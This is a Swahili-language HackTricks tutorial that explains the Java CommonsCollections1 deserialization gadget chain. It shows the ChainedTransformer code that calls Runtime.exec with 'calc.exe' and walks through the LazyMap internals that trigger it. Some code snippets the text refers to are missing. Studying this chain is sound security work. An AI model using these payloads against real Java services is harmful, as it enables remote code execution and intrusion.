Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
Ikiwa hujui chochote kuhusu malipo ya kubadilisha java, inaweza kuwa ngumu kuelewa kwa nini nambari hii itatekeleza calc.
Kwanza kabisa, unahitaji kujua kwamba Transformer katika Java ni kitu ambacho hupokea darasa na kubadilisha kuwa kingine.
Pia ni muhimu kujua kwamba malipo yanayotekelezwa hapa ni sawa na:
Basi, jinsi gani payload ya kwanza inalingana na hizo "rahisi" za mistari moja?
Kwanza kabisa, unaweza kugundua katika payload kwamba mlolongo (array) wa mabadiliko unatengenezwa:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Ikiwa unasoma nambari, utaona kwamba ikiwa kwa njia fulani unafunga mabadiliko ya safu unaweza kuweza kutekeleza amri za aina yoyote.
Katika sehemu ya mwisho ya payload unaweza kuona kwamba kifaa cha Map kinatengenezwa. Kisha, kazi ya decorate inatekelezwa kutoka kwa LazyMap na kifaa cha ramani na mabadilishaji yaliyofungwa. Kutoka kwa nambari ifuatayo unaweza kuona kwamba hii itasababisha mabadilishaji yaliyofungwa kuwekwa ndani ya sifa ya lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
Na kisha hatua kuu inatekelezwa: lazyMap.get("kitu chochote");
Hii ni nambari ya kazi ya get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
Na hii ndio nambari ya kazi ya transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Kwa hiyo, kumbuka kwamba ndani ya kiwanda tulihifadhi chainedTransformer na ndani ya kazi ya transform tunapitia transformers zote zilizounganishwa na kuzitekeleza moja baada ya nyingine. Jambo la kushangaza ni kwamba kila transformer inatumia objectkama kuingiza na object ndio matokeo kutoka kwa transformer iliyotekelezwa mwisho. Kwa hivyo, transformers zote zinafungwa kutekeleza mzigo mbaya.
Muhtasari
Mwishowe, kutokana na jinsi lazyMap inavyosimamia transformers zilizounganishwa ndani ya kazi ya kupata, ni kama tunatekeleza nambari ifuatayo:
Tafadhali kumbuka kwamba hapa ilielezewa vifaa vilivyotumiwa kwa mzigo wa ComonsCollections1. Lakini haijafafanuliwa jinsi hii yote inaanza kutekelezwa. Unaweza kuona hapa kwamba ysoserial, ili kutekeleza mzigo huu, hutumia kitu cha AnnotationInvocationHandler kwa sababu wakati kitu hiki kinapopata deserialized, ita itaamsha kazi ya payload.get() ambayo ita utekeleza mzigo mzima.
Java Thread Sleep
Mzigo huu unaweza kuwa wa manufaa kwa kutambua ikiwa wavuti ina kasoro kwa sababu itatekeleza usingizi ikiwa ina.
Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!